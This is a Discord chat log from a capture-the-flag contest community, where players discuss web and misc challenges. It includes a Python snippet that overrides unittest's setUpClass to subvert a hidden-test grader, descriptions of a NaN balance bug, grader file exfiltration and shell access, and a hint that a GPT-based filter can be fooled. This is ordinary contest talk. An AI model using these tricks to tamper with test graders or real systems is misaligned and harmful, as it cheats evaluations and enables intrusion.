__import__('unittest').TestCase.setUpClass=setUpClass```
autumn gull
#

Did the same first step, then overwrite the actual testcase because through all manner of introspection, I'd found the module and class containing the hidden test

shy lantern
#

does dis.dis not work on server?

shy lantern
#

which seccomp doesn't like

gloomy haven
shy lantern
#

where did you get the CDs?

shy lantern
knotty tinsel
#

I'm also curious to hear any opinions on challenges like impossible-xss, is it appropriate to run in a CTF, is the solution path too unclear for it to be fun, etc? Feel free to dm me

tired frigate
#

Anybody has writeup for gift? plz 🙏

solar latch
#

wait, hold up

#

you mean, the python bytecode that I exported, I could have just done dis dis on locally?

#

🪦

whole token
halcyon oriole
#

Wait what

#

It does work

#

Fuck

#

I must have had something else in the script that messed it up

#

@vital umbra Don't think I won't forget this

vital umbra
solar latch
#

I always try to play 4d chess when I did not try checkers 😦

#

"IT CANT BE THAT SIMPLE" --yes it is

shy lantern
prime folio
#

@halcyon oriole lmaoo

#

What team were u on

prime folio
#

It would've been fun if I spent time on it heh but there were so many other chals to do because I'm bad at web

#

It's the kind of web chal I like tbh

#

Where u have to dig into some obscure feature of existing (i.e. not canned lol) software

halcyon oriole
#

The people working on it (including me) weren't too experienced so we didn't get too many of them

prime folio
#

Oh nice!

#

Nice to see you're ctfing again 🙂

#

Bruh I feel so rusty

#

Haven't done CTF in too long

#

This is the wakeup call

merry crater
#

Solution path was clear enough, I was just not aware enough at 3-4am to notice that you could request external resources

delicate warren
#

ur god

halcyon oriole
merry crater
#

this was inadvertently a clue

image.png
prime folio
halcyon oriole
#

@prime folio Oh they still let you play after dropping? That's cool. Btw I don't know if this would actually happen but I'm currently the PR person for b01lers so if you're ever interested in giving a talk at a meeting or something we're always interested

shy lantern
#

impossible-xss is really good

merry crater
#

I'm mad that I didn't solve it.

shy lantern
#

cope

merry crater
#

seething

shy lantern
#

mald

nocturne flame
#

😅

placid shadow
#

Apollo's gift

fading fossil
#

any wu for jnotes ?

spice cape
plush quest
#

I am satisfied anyway xD

#

Looking at the soln 🤯

covert yacht
#

I learned that there's unittesting in Python from this CTF, but given the scenario in the challenge, is it a bad idea after all (i.e. what can people do to secure the thing)?

real holly
#

feed input to submissions through e.g. stdin so that it doesn't share the runtime of the grading code, sandboxing

autumn gull
#

For regular unit testing, you're generally not really concerned about "security" though, or not in that sense

harsh flint
#

Testing code is definitely a good thing to do

cosmic depot
#

web/gift unintended solution that got fixed:

I changed the URL to https://gift.mc.ax/create/NaN , claimed it on another account, and on the account where my money was $NaN i could make multiple claimable $1e+308 gifts. I might've been able to already see the flag from the $NaN account but i didn't try that, I'm not sure if NaN counts as >= Infinity. They patched the challenge to disallow making $NaN value gifts.

harsh flint
#

very nice !

teal orbit
real holly
hidden gust
#

nor can I write to /app/node_modules/express/test.txt

calm ocean
harsh flint
#

If Javascript follows the standard floating point rules NaN never compares true to anything including itself

#

Infinity is different, it is equal to itself (e.g. Number("1e500"))

prime folio
cerulean spruce
#

you can find that path using strace, you see which random js files are looked for

hidden gust
#

ah, brilliant, ty

#

I was thinking /app/node_modules/express.js which would load before /app/node_modules/express/index.js

vital umbra
nocturne flame
#

I think homework graders rely on the fact that submissions are recorded for security

#

suspect instructors would not be very happy if they discovered you were tricking the grader

#

so the grader doesn't have to try very hard to prevent this kind of behavior

shy lantern
#

because humans exist

prime folio
#

this is why u must get reverse shell on ur first assignment in the class

shy lantern
#

lol

prime folio
#

cuz nobody will suspect ur hello world assignment

shy lantern
#

society is glad you dropped out of university

real holly
#

Some of the assignments here extracted if you passed by checking first printed line, so what you could do is just print that you got full points :v

covert yacht
gloomy haven
#

gradescope, in particular, is notably bad at this - student code just runs in a docker container that you can configure, but the default config does almost zero sandboxing, iirc, so you can exfiltrate any local files or modify your own score

#

3 years old, but still works as of mid last year

calm ocean
#

Lolllll

#

That's stupid

low saffron
#

LMAO

green arrow
#

How long will the web challenge environments maintain?

plucky sand
#

and maybe it can help u

#

:d

green arrow
#

thanks

spice cape
#

most likely 1-2 weeks

#

but challenge deploys have been released so should be the same even after servers go down

quaint merlin
#

impossible-xss is a cool chall, just read the writeup

#

i tried to use a pdf during the competition, but pdfium seemed too locked down to get away with anything more than sending post requests

wintry finch
#

omg is that THE garvinator???

quaint merlin
#

you know it

#

i haven't retired yet 😉

forest bison
#

hi! im looking for an intermediate ctf team 🙂

#

im intermediate level at web. can participate almost every weekend

knotty tinsel
orchid elk
#

Someone can tell me why i use /api/ping second ,the node will breakdown ? in web/unfinished

#

plz

#

through it ,i can get shell

real holly
#

assuming will breakdown = crash, because the middleware is implemented incorrectly and sends a response that auth failed (but will still proceed running the ping route, which also tries to send a response)

#

though as the process autorestarts it doesn't really matter (as long as you wait for the process to boot up)

orchid elk
#

oh,thanks

orchid elk
wet oracle
#

Hi admin

#

How to deploy bot xss from source ?

#

I want try in my local computer

subtle bison
#

^

knotty tinsel
#

@loud geode might be worth documenting instructions for this ^

#

but it's just running adminbot.js code in headless chrome with puppeteer, you can npm i puppeteer and run it with a few line changes

loud geode
#

yeah I'll update the admin bot repo and document this soon

cerulean spruce
#

hope you guys are ready for another 20 nodejs xss challs tomorrow 👀

fallen obsidian
#

i have my 0days ready <3

quaint merlin
#

hell yeah

shell fox
#

ready to bypass all filter 😄

plucky sand
proper wharf
oak geode
#

Pwn 🔥 🔥 🔥

grave coral
#

🤮

#

fuck pwn we web!!

peak wigeon
#

web's gonna be webbing

calm ocean
#

🕷️ 🕸️

still anchor
#

Few seconds ...

verbal wolf
#

Rip crash

#

Wait we're so back

sleek meteor
#

why is the dicegoose challenge 1.5gb ??

grave coral
#

we're removing the attachment it isn't needed

#

its for dicediceotter

mortal stirrup
grave coral
#

🦦

half ore
#

it's 6 gb for me

#

💀

wheat magnet
#

as a beginner i really enjoyed dicedicegoose

magic girder
#

I dont think this 6gigs is neccesary

#

But a fun one

blazing horizon
shell fox
#

hello please help me to run docker file

proud geyser
shell fox
#

i build the docker image and run it. it show my that the container is listen on port 8080 but when i try to access the webpage, i got an error

shell fox
#

i just have trouble to access the webpage

grave coral
#

-p 8080:8080

shell fox
#

docker run my_image_name -it -p8080:8080

grave coral
#

Move the args to after run

shell fox
#

yes. i run this ```bash
sudo docker run -it -p 9090:9090 funylogin

grave coral
#

you misspelt it

shell fox
#

i have this output web/funnylogin listening on port 3000

grave coral
#

Replace -p 9090:9090 with 3000:3000

shell fox
#

ok

shell fox
vast whale
jolly marlin
#

More than 80 teams have already passed the funnylogin challenge and I can't figure out how to get the flag despite some pretty classic attempts.
I don't even know how to learn ... I'm giving up this contest, I must be really bad.

cinder island
inland shadow
#

Is it possible to perform ssti in ejs latest version

rich elm
#

I must be missing something with DDG. I'm able to get the flag printed out but it's not the right flag. Is the hint staring me right in the face?

prisma epoch
#

skill issue bobi

rich elm
#

I'm pretty sure a score over 100 is good, sooooooo shrug

rich elm
tiny hinge
#

that challenge was kinda silly lmao

#

I was trying to use arrow keys 💀

rich elm
sacred dome
wise haven
#

The admin decider doesn't change any sql

#

So how do I know bro

#

😭

wintry smelt
#

how can I access to docker web environment?

#

Don't worry, I got it

timid crescent
solemn pond
#

why the flag generator on goose doesnt work. it is encrypted to whaaaat

timid crescent
#

dicedicegooseeeeeeeeeeeeee

jolly marlin
timid crescent
#

who solved dicedicegoose

shell hearth
#

admin of funyylogin

loud geode
#

create a ticket please

grizzled cloak
#

How does dicedicegoose have more solves than gpwaf lol 😭

fluid crescent
little sentinel
#

Всем привет 😀

dense flare
hollow garnet
#

funny login down ...

hollow garnet
grave coral
untold turret
#

oh you are right.. funnylogic down

wanton bison
#

we need hints for these challenges😭

brisk meteor
#

ci is spinning

untold turret
#

helps some hints on funnylogic or crypto/winter please?

brisk meteor
#

we are not providing hints to challenges with many solves, sorry

cinder island
#

Hey, I am totally newb. I am doing this after more than 6 months so I am totally blank. Any help I could get at all?

#

Literally, I have no idea. I am doing web currently. Tried alot of different approaches but got nothing in any challenge.

worn geode
little sentinel
midnight steppe
#

дарова

little sentinel
#

чет жестко по-моему

midnight steppe
#

вы сделали веб самое первое?

worn geode
#

я первый раз на ctf

#

0 заданий

worn geode
midnight steppe
#

неа

little sentinel
#

калькулятор или логин сделали ?

worn geode
#

вообще ничего

little sentinel
#

чет разобраться даже не можем

magic girder
#

Omg, this gpwaf task is really good

#

Like, its fun

#

And easy, if you know, what you need to do

#

gpts are dumb, 4sure

shell fox
#

sqli data exfiltration with sqlite3 or ..... ?

autumn mirage
#

same

#

: C

shell fox
#

einh?

untold turret
magic girder
#

Surely, I'd say it is on the easy side

modern berry
untold turret
magic girder
#

I am not sure you need a script for funnylogic, cause I presume you want to bruteforce it, which is not allowed.

outer jay
magic girder
#

Yeah, I also dont think so

untold turret
magic girder
#

I meant only that

image.png
#

Idk what for a script you possibly can write here, so I just presumed.

signal valve
#

в тиму примешь?

worn geode
signal valve
#

кидай приглос

shell hearth
magic girder
#

That is the premise of a challenge

shell hearth
#

yeah ik

untold turret
magic girder
#

I dont think you need tools to solve any of the web chals

sacred dome
#

funnylogin is irritating for me 😬

tough summit
#

Is There A Trick or Something?

grizzled cloak
#

i think you guys are over complicating it

#

its a bit straight forward

mortal stirrup
#

Don't discuss details of challenges in public please!

outer jay
#

funny login is doable!
keep trying!

midnight steppe
#

guys how to encode history in dicedicegoose???

#

how to find the second part of flag??

rustic birch
#

admin?

hollow garnet
midnight steppe
#

how??ahah i can't beat it in 9 steps

#

it is impossible and i can't find this number in burp

hollow garnet
rustic birch
#

admin?

indigo carbon
#

could we get increased instance time for safestlist?

ivory moon
#

Why are you guys just discussing how to solve the problems in public?

ivory moon
calm ocean
#

Whats the flag for web guys

wheat magnet
#

🤨

mortal stirrup
calm ocean
#

💀

#

Im stuck on web I need flags

#

Smh

wheat magnet
#

bro

wanton bison
calm ocean
#

@mortal stirrup 💀

mortal stirrup
#

mfw

#

@fossil axle don't post (even partial) flags please

calm ocean
#

Mfw fake flag got blocked by server rules

wanton bison
mortal stirrup
wanton bison
mortal stirrup
#

No

wanton bison
mortal stirrup
#

the description says no bruteforce fingerguns that's all i know

wanton bison
#

i have lost my sanity keeping up with the goose

calm ocean
#

obviously

#

how else will we get flags smh

nocturne flame
#

everyone please don't discuss solutions

torn palm
#

Hate to say it guys, but if you're not finding the solution with your fingers -- maybe you should use your brain.

#

This is general advice. Slow down and carefully consider what you see.

nocturne flame
#

bro

#

what did I say

calm ocean
#

sql >>> nosql

calm ocean
torn palm
#

Because if you don't use your brain then gpt will become stupid

#

The bruteforce really isn't feasible anyway. Do the math on req/s and # req needed. It's not good

#

CTF will be over

calm ocean
#

nah bro just scale it

sharp spire
calm ocean
#

no hints

#

its not bad tho just think harder. like actually think what you are doing

torn palm
#

Hint: you can solve it in a single request

calm ocean
#

ask yourself what am i pwning and why is js so cringe

sharp spire
#

wait

calm ocean
#

i can do it in 0 requests

hollow garnet
torn palm
#

Maybe you can draw inspiration from the epic "wat" talk.

wanton bison
#

does funnylogin have anything to do with crypto cuz its under the category web

wanton bison
calm ocean
#

flag request

#

just ask it nicely

#

everybody keeps trying to hack everything but being kind comes a far way

grave coral
#

@oak topaz sol for another-csp blobcreep (open tkt)

torn palm
#

This stuff is frustrating at times, but it's how you respond that will make the difference.

oak topaz
wanton bison
#

guess i have a skill issue

calm ocean
#

its a joke ._.

wanton bison
flint phoenix
jolly marlin
#

Points at last, thanks to DiceDiceGoose! 🥲

wanton bison
#

i spent my whole day running after da goose

torn palm
#

Did you read the code???

wanton bison
wheat magnet
#

bruh

wanton bison
#

lol

#

tried to understand

#

a lil bit

torn palm
#

Feel free to dm me the key points of information you learned from there 🙂

ivory moon
#

Hint: You can ask for the solutions without receiving useless jokes or risking violating the rules after the contest is finished.

small briar
#

can i ask one questino about the first web chall? just so my pc doesnt get burned lol ty

#

question*

#

(like legit pc getting frozen since it potato pc bcs of what i am doing)

#

its

calm ocean
#

no?

#

and no?

grizzled blade
#

which chall? funnylogin?

small briar
calm ocean
#

all im saying is goodluck

#

you will need it

small briar
#

shi, is there any easier challs (web)

small briar
calm ocean
#

its easy just hack it

grizzled blade
small briar
small briar
bronze merlin
#

can someone help with funny login?

grizzled blade
#

yea dont bruteforce it

bronze merlin
#

I didn't

#

but i dont know how to get another flag than test

grizzled blade
#

on your local docker? or ctf server?

bronze merlin
#

both

#

can you give any advice pls

grizzled blade
#

okay on ctf is wierd maybe write a ticket?

bronze merlin
#

will try few more times, then mb will do it

worldly wave
#

Can I use burp suite intruder to solve funnylogin？

mortal stirrup
#

Is that a brute force tool? If so no

worldly wave
#

OK, I'll try another way to solve.
Thanks

bronze merlin
#

If it writes "Nice try" I'm on the right way?

ivory torrent
#

I’m stuck at funnylogin for like 6 hours now 💀

sharp spire
#

since the CTF started

small briar
#

ok, i just did funnylogin but didnt realise how it worked xd just one part. can i dm someone just ot explain it rq? :D

#

ty

ivory torrent
bronze merlin
small briar
gusty river
#

lol make a ticket

#

dont dm random ppl

small briar
verbal wolf
small briar
#

but sure my bad

verbal wolf
jaunty vault
#

@cerulean spruce bot in safestlist was such a pain..

cerulean spruce
#

lmao

#

u can open a ticket if you have an issue or something

jaunty vault
#

already solved

ivory pike
cerulean spruce
#

o nvm gg strong

#

can i hear your solution lmaoo

ancient orchid
torn palm
jaunty vault
torn palm
#

Not surprised. I looked at that one 🙂

potent anvil
#

could i get a hint for funny login?

rich elm
#

@torn palm Not related to the challenges or the CTF but I think I've come across your blog a time or two.

potent anvil
#

i been throwin myself against it for a while no luck

rich elm
torn palm
#

Oh HRM. I am not sure which one. Usually I've written blogs for work and those haven't lived as much as I'd like. The one still up is https://www.droidsec.org/news

#

But I will make a new one soon

rich elm
#

I could be remembering wrong too. My old man brain does that from time to time.... Your avatar looked familiar. Maybe it was another CTF

torn palm
#

That one was intended to be a group thing but no one ever contributed

tidal olive
#

funnylogin down ?

verbal quiver
#

Think so

brisk meteor
#

investigating..